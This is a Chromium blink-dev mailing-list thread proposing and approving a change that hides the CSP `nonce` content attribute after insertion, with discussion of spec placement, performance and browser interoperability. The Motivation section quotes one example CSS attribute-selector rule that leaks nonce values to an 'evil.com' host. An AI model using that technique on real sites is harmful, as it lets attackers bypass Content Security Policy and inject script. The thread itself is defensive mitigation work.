Intent to Implement and Ship: Hardened `nonce` content attribute.

[Mike West]

# Contact emails

mk...@chromium.org

# Spec

Converging on details in https://github.com/whatwg/dom/pull/436 and https://github.com/whatwg/html/pull/2373.

# Summary

When an element with a `nonce` attribute is inserted into a document, it's `nonce` content attribute's value will be moved into an internal slot, and cleared. The value remains accessible to script via the `.nonce` IDL attribute, but the content attribute's value is changed to an empty string.

The tests at https://github.com/w3c/web-platform-tests/pull/5423 should clarify the details.

# Motivation

We've seen some recent attacks on Content Security Policy which rely on the ability to exfiltrate `nonce` attribute data via various mechanisms that can grab data from content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker's server for reuse with better-than-brute-force efficiency (`script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); }`).

# Interoperability risk

Firefox: Mixed public signals. They haven't commented on the specific proposal, but were on board with the general contours of the mechanism in a WebAppSec call at the end of January (minutes at https://www.w3.org/2011/webappsec/minutes/2017-01-25-webappsec-minutes.html#item03).

Edge: No public signals

Safari: No public signals

Web developers: No signals

# Compatibility risk

Low. To implement this change, we'll ship the `nonce` IDL attribute, which brings our implementation into line with Firefox's and Edge's. 

The only legitimate usage this change affects is a site that wishes to propagate a `nonce` value from one `<script>` to another, but does so only by looking at the content attribute. Google's ISE team (arturjanc@, et al) is submitting patches to various products internally to shift onto the IDL attribute when available, and following those up with patches to libraries, internally and externally, to fallback to the content attribute if the IDL attribute isn't available.

Given the low usage in general, and the fact that `nonce` attribute usage is Google-centric at the moment anyway, due to our advocacy of https://csp.withgoogle.com/docs/strict-csp.html, I think the risk is quite managable.

# Ongoing technical constraints 

None.

# Will this feature be supported on all six Blink platforms

Yes.

# OWP launch tracking bug

https://bugs.chromium.org/p/chromium/issues/detail?id=680419

# Link to entry on the Chrome Platform Status

https://www.chromestatus.com/features/5685968463986688

The feature dashboard is used to keep track of web-facing changes in Blink (and V8) that matter to developers. Make sure your change has an entry if you think it merits outreach to developers (e.g inclusion in the Chromium Blog Beta posts). If there's no entry, please explain why you think this change doesn't need one (e.g. "small change", "fits under an existing entry"). You may be asked to create one.

# Requesting approval to ship?

Yes.

-mike

[Jochen Eisinger]

lgtm1

[PhistucK]

A little off topic, but how come the IDL tool did not notify about the missing nonce IDL attribute? Or did it and I just cannot find an issue for it?

☆PhistucK

lgtm1

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To unsubscribe from this group and stop receiving emails from it, send an email to blink-dev+unsubscribe@chromium.org.

[Mike West]

On Tue, Apr 11, 2017 at 10:38 AM, PhistucK <phis...@gmail.com> wrote:

A little off topic, but how come the IDL tool did not notify about the missing nonce IDL attribute? Or did it and I just cannot find an issue for it?

It's implemented behind a flag: https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLScriptElement.idl?rcl=26b90c72f02e0423dc191e76ced2991f663ee2ce&l=40. We should have removed the flag when we shipped CSP2 a million years ago, but I overlooked it.

-mike

[PhistucK]

Should the tool notify about non-enabled-by-default IDL changes?

I previously thought it should not, because it started notifying about non-enabled-by-default differences that were not in a specification yet. However, if something is in a specification and it is behind a flag in Blink, I guess notifying about it would be beneficial.

☆PhistucK

[Philip Jägenstedt]

Warning, off topic:

+Mark Dittmer

We haven't yet tried to use the IDL diff tooling to identify things that are missing from our IDL files, because we believe most would correspond to features that haven't been prioritized yet, and not accidental omissions. In this case, it's in our IDL, but with [RuntimeEnabled=ExperimentalContentSecurityPolicyFeatures]. The tool doesn't do anything with that extended attribute, but that would be quite useful eventually.

[Philip Jägenstedt]

Is the scenario here that someone has managed to inject malicious CSS onto the page, but no scripts? And that using CSP itself to plug that hole is not viable?

Are EdgeHTML and WebKit folks at all engaged with CSP, could you poke them for some kind of reaction?

[Domenic Denicola]

From: mk...@google.com [mailto:mk...@google.com] On Behalf Of Mike West

> Low. To implement this change, we'll ship the `nonce` IDL attribute, which brings our implementation into line with Firefox's and Edge's. 

To be clear though, we'd be implementing it on Element, instead of on HTMLLinkElement/HTMLStyleElement/HTMLScriptElement, right?

[Mike West]

Yes, though that detail is a bit dependent on your review of the DOM patch, as Anne had an open question about whether it would make more sense to alter `HTMLElement`/`SVGElement` instead of `Element`.

-mike

[Mike West]

On Tue, Apr 11, 2017 at 11:56 AM, Philip Jägenstedt <foo...@chromium.org> wrote:

Is the scenario here that someone has managed to inject malicious CSS onto the page, but no scripts? And that using CSP itself to plug that hole is not viable?

Correct. The scenario is a page with a CSP that prevents direct script execution via the usage of cryptographic nonces. An attacker can work their way around this protection by exfiltrating the nonce value via mechanisms like CSS attribute selectors, and then using that captured data in their injection.

Removing the data from areas accessible by things other than script seems like a reasonable approach to mitigating that risk.

We also considered just changing CSS attribute selectors to block `nonce` attributes; that seemed wrong from a layering perspective, but also from a security perspective as we'd be changing each API piecemeal to block access to the attribute's data, which seems error-prone. Altering the attribute's behavior seemed like a more robust solution.

 

Are EdgeHTML and WebKit folks at all engaged with CSP, could you poke them for some kind of reaction?

I've pinged folks from many vendors on the GitHub issue without much luck. I'll CC some folks directly here.

[Anne van Kesteren]

On Tue, Apr 11, 2017 at 12:43 PM, 'Mike West' via blink-dev
<blin...@chromium.org> wrote:
> Yes, though that detail is a bit dependent on your review of the DOM patch,
> as Anne had an open question about whether it would make more sense to alter
> `HTMLElement`/`SVGElement` instead of `Element`.

To be clear, I'm good either way, but we don't really have established
principles for picking one or the other and that makes these changes a
little tricky to evaluate. I have a slight worry we're going with
Element because SVG(Element) is not maintained to the same extent and
we don't have an easy way to add things to both HTML and SVG (and
MathML?) because of that.


--
https://annevankesteren.nl/

[Philip Jägenstedt]

On Tue, Apr 11, 2017 at 5:53 PM Mike West <mk...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 11:56 AM, Philip Jägenstedt <foo...@chromium.org> wrote:

Is the scenario here that someone has managed to inject malicious CSS onto the page, but no scripts? And that using CSP itself to plug that hole is not viable?

Correct. The scenario is a page with a CSP that prevents direct script execution via the usage of cryptographic nonces. An attacker can work their way around this protection by exfiltrating the nonce value via mechanisms like CSS attribute selectors, and then using that captured data in their injection.

How about using CSP nonce to lock down which stylesheets are loaded as well? Are there practical problems with deploying that, so that it comes very far down the list of priorities?

Removing the data from areas accessible by things other than script seems like a reasonable approach to mitigating that risk.

We also considered just changing CSS attribute selectors to block `nonce` attributes; that seemed wrong from a layering perspective, but also from a security perspective as we'd be changing each API piecemeal to block access to the attribute's data, which seems error-prone. Altering the attribute's behavior seemed like a more robust solution.

Yes, it does seem more robust.

Are EdgeHTML and WebKit folks at all engaged with CSP, could you poke them for some kind of reaction?

I've pinged folks from many vendors on the GitHub issue without much luck. I'll CC some folks directly here.

Thanks, I didn't look at the issue. If we don't hear anything there or here within a few days, let's leave it at that.

[Philip Jägenstedt]

Getting changes into SVG isn't that hard, at least not for trivial things. I've done it once, it was pretty fast except for the IP policy thing. If you think that HTMLElement+SVGElement would be better, we should probably do just that, but not block shipping on the SVG change being merged.

Of course, Element vs. HTMLElement+SVGElement always feels a bit academic, because almost all instances of Element are HTML or SVG. I have no opinion.

[Mike West]

On Tue, Apr 11, 2017 at 1:58 PM, Philip Jägenstedt <foo...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 5:53 PM Mike West <mk...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 11:56 AM, Philip Jägenstedt <foo...@chromium.org> wrote:

Is the scenario here that someone has managed to inject malicious CSS onto the page, but no scripts? And that using CSP itself to plug that hole is not viable?

Correct. The scenario is a page with a CSP that prevents direct script execution via the usage of cryptographic nonces. An attacker can work their way around this protection by exfiltrating the nonce value via mechanisms like CSS attribute selectors, and then using that captured data in their injection.

How about using CSP nonce to lock down which stylesheets are loaded as well? Are there practical problems with deploying that, so that it comes very far down the list of priorities?

Talk to aaj@ (CC'd!), who assures me that this is super-difficult because of inlined style attributes, and makes deployment inside Google impossible in the near term.

Removing the data from areas accessible by things other than script seems like a reasonable approach to mitigating that risk.

We also considered just changing CSS attribute selectors to block `nonce` attributes; that seemed wrong from a layering perspective, but also from a security perspective as we'd be changing each API piecemeal to block access to the attribute's data, which seems error-prone. Altering the attribute's behavior seemed like a more robust solution.

Yes, it does seem more robust.

Are EdgeHTML and WebKit folks at all engaged with CSP, could you poke them for some kind of reaction?

I've pinged folks from many vendors on the GitHub issue without much luck. I'll CC some folks directly here.

Thanks, I didn't look at the issue. If we don't hear anything there or here within a few days, let's leave it at that.

Perhaps this thread will kickstart that conversation! *shrug* I'm not excited about waiting too much longer. :)

-mike

[Philip Jägenstedt]

On Tue, Apr 11, 2017 at 7:12 PM Mike West <mk...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 1:58 PM, Philip Jägenstedt <foo...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 5:53 PM Mike West <mk...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 11:56 AM, Philip Jägenstedt <foo...@chromium.org> wrote:

Is the scenario here that someone has managed to inject malicious CSS onto the page, but no scripts? And that using CSP itself to plug that hole is not viable?

Correct. The scenario is a page with a CSP that prevents direct script execution via the usage of cryptographic nonces. An attacker can work their way around this protection by exfiltrating the nonce value via mechanisms like CSS attribute selectors, and then using that captured data in their injection.

How about using CSP nonce to lock down which stylesheets are loaded as well? Are there practical problems with deploying that, so that it comes very far down the list of priorities?

Talk to aaj@ (CC'd!), who assures me that this is super-difficult because of inlined style attributes, and makes deployment inside Google impossible in the near term.

Ah, so it's more difficult to get rid of all inline style than getting all scripts separated out. That makes sense.

 

Removing the data from areas accessible by things other than script seems like a reasonable approach to mitigating that risk.

We also considered just changing CSS attribute selectors to block `nonce` attributes; that seemed wrong from a layering perspective, but also from a security perspective as we'd be changing each API piecemeal to block access to the attribute's data, which seems error-prone. Altering the attribute's behavior seemed like a more robust solution.

Yes, it does seem more robust.

Are EdgeHTML and WebKit folks at all engaged with CSP, could you poke them for some kind of reaction?

I've pinged folks from many vendors on the GitHub issue without much luck. I'll CC some folks directly here.

Thanks, I didn't look at the issue. If we don't hear anything there or here within a few days, let's leave it at that.

Perhaps this thread will kickstart that conversation! *shrug* I'm not excited about waiting too much longer. :)

LGTM2 on the general shape of this, and we can deal with feedback if it arrives. If y'all want to go with HTMLElement+SVGElement instead, LGTM to that too, that's a minor detail.

[Artur Janc]

On Tue, Apr 11, 2017 at 2:31 PM, Philip Jägenstedt <foo...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 7:12 PM Mike West <mk...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 1:58 PM, Philip Jägenstedt <foo...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 5:53 PM Mike West <mk...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 11:56 AM, Philip Jägenstedt <foo...@chromium.org> wrote:

Is the scenario here that someone has managed to inject malicious CSS onto the page, but no scripts? And that using CSP itself to plug that hole is not viable?

Correct. The scenario is a page with a CSP that prevents direct script execution via the usage of cryptographic nonces. An attacker can work their way around this protection by exfiltrating the nonce value via mechanisms like CSS attribute selectors, and then using that captured data in their injection.

How about using CSP nonce to lock down which stylesheets are loaded as well? Are there practical problems with deploying that, so that it comes very far down the list of priorities?

Talk to aaj@ (CC'd!), who assures me that this is super-difficult because of inlined style attributes, and makes deployment inside Google impossible in the near term.

Ah, so it's more difficult to get rid of all inline style than getting all scripts separated out. That makes sense.

Yes, this is the main practical problem. In many applications it's relatively easy to police inline scripts because of general code health reasons (e.g. at Google most JS has to be compiled); however, there are few such restrictions on inline styles so they proliferate and are harder to completely remove. Overall it is at least theoretically possible to use CSP to lock down sources of stylesheets and protect against nonce exfiltration with CSS, but it would add a lot of burden for developers and introduce a dependency on style-src in order for script-src to be effective, which would likely be fairly confusing.

[Philip Jägenstedt]

On Tue, Apr 11, 2017 at 9:16 PM 'Artur Janc' via blink-dev <blin...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 2:31 PM, Philip Jägenstedt <foo...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 7:12 PM Mike West <mk...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 1:58 PM, Philip Jägenstedt <foo...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 5:53 PM Mike West <mk...@chromium.org> wrote:

On Tue, Apr 11, 2017 at 11:56 AM, Philip Jägenstedt <foo...@chromium.org> wrote:

Is the scenario here that someone has managed to inject malicious CSS onto the page, but no scripts? And that using CSP itself to plug that hole is not viable?

Correct. The scenario is a page with a CSP that prevents direct script execution via the usage of cryptographic nonces. An attacker can work their way around this protection by exfiltrating the nonce value via mechanisms like CSS attribute selectors, and then using that captured data in their injection.

How about using CSP nonce to lock down which stylesheets are loaded as well? Are there practical problems with deploying that, so that it comes very far down the list of priorities?

Talk to aaj@ (CC'd!), who assures me that this is super-difficult because of inlined style attributes, and makes deployment inside Google impossible in the near term.

Ah, so it's more difficult to get rid of all inline style than getting all scripts separated out. That makes sense.

Yes, this is the main practical problem. In many applications it's relatively easy to police inline scripts because of general code health reasons (e.g. at Google most JS has to be compiled); however, there are few such restrictions on inline styles so they proliferate and are harder to completely remove. Overall it is at least theoretically possible to use CSP to lock down sources of stylesheets and protect against nonce exfiltration with CSS, but it would add a lot of burden for developers and introduce a dependency on style-src in order for script-src to be effective, which would likely be fairly confusing.

Yeah, that dependency is a good point independent of the practical difficulties of purging inline style.

[Boris Zbarsky]

On 4/11/17 6:20 AM, Domenic Denicola wrote:
> To be clear though, we'd be implementing it on Element, instead of on HTMLLinkElement/HTMLStyleElement/HTMLScriptElement, right?

I'm a bit concerned about adding more "when inserted into the document"
processing to all elements, from a performance standpoint. Why do we
need to do that?

-Boris

[Mike West]

Anne pointed out in https://github.com/whatwg/html/pull/2373#discussion_r110619842 that the attribute is likely to be shared among different elements, and that extending nonce support to a new element would introduce vulnerabilities in browsers that don't implement the behavior on that element. For example, Firefox goes beyond the existing spec by implementing nonce support for things like `<img>`[1]. It seems that we need to protect those attributes in the same way if sites use them.

That said, I'm a little concerned about the performance story as well. If you have objections to putting this on `Element`, I think I'd be fine with a first pass that applied them to `HTMLScriptElement`, `SVGScriptElement`, `HTMLStyleElement`, and `HTMLLinkElement` (e.g. going back to the proposal in https://github.com/whatwg/html/pull/2373 rather than https://github.com/whatwg/dom/pull/436, and submitting a separate PR against SVG).

[1]: Visit `data:text/html,<meta http-equiv="content-security-policy" content="img-src 'nonce-abc'"><img src="https://www.mozilla.org/media/img/firefox/template/header-logo-inverse.510f97e92635.png" nonce=abc>`, for example.

[Philip Jägenstedt]

On Tue, Apr 11, 2017 at 7:04 PM Philip Jägenstedt <foo...@chromium.org> wrote:

Of course, Element vs. HTMLElement+SVGElement always feels a bit academic, because almost all instances of Element are HTML or SVG.

To clarify, I'm just speculating that out of all Element instances created in browsers out there in the wild, >99% would be HTML elements. There are no metrics, and I have a hard time seeing what numbers would influence a decision like the one in this thread. Please disregard.

[Anne van Kesteren]

On Wed, Apr 12, 2017 at 10:08 AM, 'Mike West' via blink-dev
<blin...@chromium.org> wrote:
> Anne pointed out in
> https://github.com/whatwg/html/pull/2373#discussion_r110619842 that the
> attribute is likely to be shared among different elements, and that
> extending nonce support to a new element would introduce vulnerabilities in
> browsers that don't implement the behavior on that element. For example,
> Firefox goes beyond the existing spec by implementing nonce support for

> things like `<img>`. It seems that we need to protect those attributes in

> the same way if sites use them.
>
> That said, I'm a little concerned about the performance story as well.

An alternative might be that we only apply this practice to elements
that can have a src or href attribute as nonce is only relevant in
that case I believe. That would reduce the number of elements impacted
quite a bit. We could even further trim that by removing a/area since
CSP has nothing to say on navigation (other than <form>, so maybe we
should include <form>?). Those elements don't need to have an internal
slot or a nonce API, they just need to trim the nonce attribute for
forward compatibility.


--
https://annevankesteren.nl/

[Boris Zbarsky]

On 4/12/17 4:08 AM, 'Mike West' via blink-dev wrote:
> Firefox goes beyond the existing spec by implementing nonce
> support for things like `<img>`[1].

Hmm... I filed https://bugzilla.mozilla.org/show_bug.cgi?id=1355801 on
this.

> If you have objections to putting this on `Element`

I object to putting this on Element no matter what. I don't think it's
a good idea, for example, to mess with the DOM of random XHR response
documents that happen to have attributes named "nonce"...

I have some other concerns too; I guess I'll put them in
https://github.com/whatwg/html/pull/2373

> I think I'd be fine
> with a first pass that applied them to `HTMLScriptElement`,
> `SVGScriptElement`, `HTMLStyleElement`, and `HTMLLinkElement`

If we do go with this sort of thing, I would personally much prefer
that... But I don't have a good answer to the "shared across elements"
scenario. :(

-Boris

[Mark Dittmer]

This is useful feedback for IDL analysis tooling. Thanks! I've filed this issue to track it.

//Mark

[Chris Harrelson]

Hi Mike,

Could you update with a status of consensus on this intent? It sounds like there were pending discussions that might have happened off-thread.

Chris

[Mike West]

Hey Chris, sorry I missed your question. I'm trying to do too many things at once. :(

The discussion in https://github.com/whatwg/html/pull/2373 continued a bit; I think it's fair to say Boris and I have reached something like consensus on the broad strokes of the change. Basically, we'll be restricting the change in the `nonce` content attribute's behavior to cases in which an element is inserted into a document that's connected to a browsing context (e.g. not in the `responseXML` result of XHR), and with which a content security policy was delivered as an HTTP header (e.g. not as a `<meta>` element). If either of these conditions isn't met, we'll parse the page just as we do today.

This should minimize the risk that we confuse server-side workflows that involve parsing and serialization of markup, and ensure that we leave room for kicking off a parser with well-defined behavior in parallel with other work.

I've updated the patch against HTML, the patch against CSP, the patch against Chrome (which contains the associated WPTs) accordingly in the hopes that we can agree on the details as well.

CCing Boris in case I've misunderstood his suggestions.

-mike

[Chris Harrelson]

Hi Mike,

From reading https://github.com/whatwg/html/pull/2373, it sounds like discussion is still ongoing to some extent. I think it would be best to make changes only after consensus on the exact form of the change, including details like whether things are on the Element object (Boris objected quite strongly three messages ago in this thread, has that been resolved?), and that other browsers would adopt whatever the consensus is.

(Let me know if I'm misreading the threads, I only skimmed.)

Chris

[Mike West]

On Thu, May 18, 2017 at 6:14 PM, Chris Harrelson <chri...@chromium.org> wrote:

From reading https://github.com/whatwg/html/pull/2373, it sounds like discussion is still ongoing to some extent. I think it would be best to make changes only after consensus on the exact form of the change, including details like whether things are on the Element object (Boris objected quite strongly three messages ago in this thread, has that been resolved?)

After a bit more back-and-forth last week, I think Boris and I have more or less agreed on the shape of the change to HTML. I have an updated patch outstanding, and though I'm sure I've gotten some details wrong, I think the final area of concern that we were discussing was the `DOMAttrModified` mutation event that Chrome doesn't implement. In short:

1.  We add a `nonce` IDL attribute and corresponding internal slot to both `HTMLElement` and `SVGElement` (by having both implement a `NoncedElement` interface).
2.  When a `nonce` content attribute is set (e.g. via `setAttribute`), we update the internal slot with its value.
3.  When a `NoncedElement` is inserted into a document that had a CSP delivered via an HTTP header (but not a `<meta>` tag), we clear its `nonce` content attribute while leaving the internal slot intact.

This yields the behavior visible in the tentative tests upstreamed to https://github.com/w3c/web-platform-tests/tree/master/content-security-policy/nonce-hiding (and implemented in Canary behind a flag).

 

and that other browsers would adopt whatever the consensus is.

Can we weaken this requirement to "other browsers would not fundamentally object to the approach"? :)

I'll ping some folks directly in the hopes of getting feedback, but I believe that the approach bz and I are converging on is narrow-enough to substantially lower the compatibility risk. IMO, the possibility that we'll need to shift our implementation in minor ways order to increase interop at some point in the future is pretty clearly outweighed by the benefits of cutting off a class of side-channel attack on the `nonce` attribute today.

-mike

[Rick Byers]

On Wed, May 31, 2017 at 1:34 AM, Mike West <mk...@chromium.org> wrote:

On Thu, May 18, 2017 at 6:14 PM, Chris Harrelson <chri...@chromium.org> wrote:

From reading https://github.com/whatwg/html/pull/2373, it sounds like discussion is still ongoing to some extent. I think it would be best to make changes only after consensus on the exact form of the change, including details like whether things are on the Element object (Boris objected quite strongly three messages ago in this thread, has that been resolved?)

After a bit more back-and-forth last week, I think Boris and I have more or less agreed on the shape of the change to HTML. I have an updated patch outstanding, and though I'm sure I've gotten some details wrong, I think the final area of concern that we were discussing was the `DOMAttrModified` mutation event that Chrome doesn't implement. In short:

1.  We add a `nonce` IDL attribute and corresponding internal slot to both `HTMLElement` and `SVGElement` (by having both implement a `NoncedElement` interface).
2.  When a `nonce` content attribute is set (e.g. via `setAttribute`), we update the internal slot with its value.
3.  When a `NoncedElement` is inserted into a document that had a CSP delivered via an HTTP header (but not a `<meta>` tag), we clear its `nonce` content attribute while leaving the internal slot intact.

This yields the behavior visible in the tentative tests upstreamed to https://github.com/w3c/web-platform-tests/tree/master/content-security-policy/nonce-hiding (and implemented in Canary behind a flag).

 

and that other browsers would adopt whatever the consensus is.

Can we weaken this requirement to "other browsers would not fundamentally object to the approach"? :)

IMHO Yes we should - in general we don't block on lack of feedback / interest. 

I'll ping some folks directly in the hopes of getting feedback, but I believe that the approach bz and I are converging on is narrow-enough to substantially lower the compatibility risk. IMO, the possibility that we'll need to shift our implementation in minor ways order to increase interop at some point in the future is pretty clearly outweighed by the benefits of cutting off a class of side-channel attack on the `nonce` attribute today.

I see BZ said "I think that sounds pretty reasonable to me" and you asked for feedback on the new design 14 days ago and pinged specific folks again 3 days ago but there hasn't been a response yet. IMHO this is enough to move forward, so LGTM3 from me.  Obviously we should still try to get the spec PR landed, but (from my limited understanding of this issue) I don't see any reason to block this intent.

Chris, please feel free to speak up if you disagree.

-mike

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.

To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/CAKXHy%3DeB0MtnUmf79xBzOWSvnn1fyb-Cx7WnG7wJf%3DaS2sBagw%40mail.gmail.com.

[Chris Harrelson]

I chatted offline with Mike a couple of days ago, and he pinged several people again. So I think there has been enough pinging, and I don't object to the existing 3 LGTMs.

-mike

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/CAKXHy%3DeB0MtnUmf79xBzOWSvnn1fyb-Cx7WnG7wJf%3DaS2sBagw%40mail.gmail.com.

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.

To unsubscribe from this group and stop receiving emails from it, send an email to blink-dev+unsubscribe@chromium.org.

To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/CAFUtAY-56-PBT5aVJp4Y2efRzUMg%3DPzAM4LysoRhW0iLSC6NLQ%40mail.gmail.com.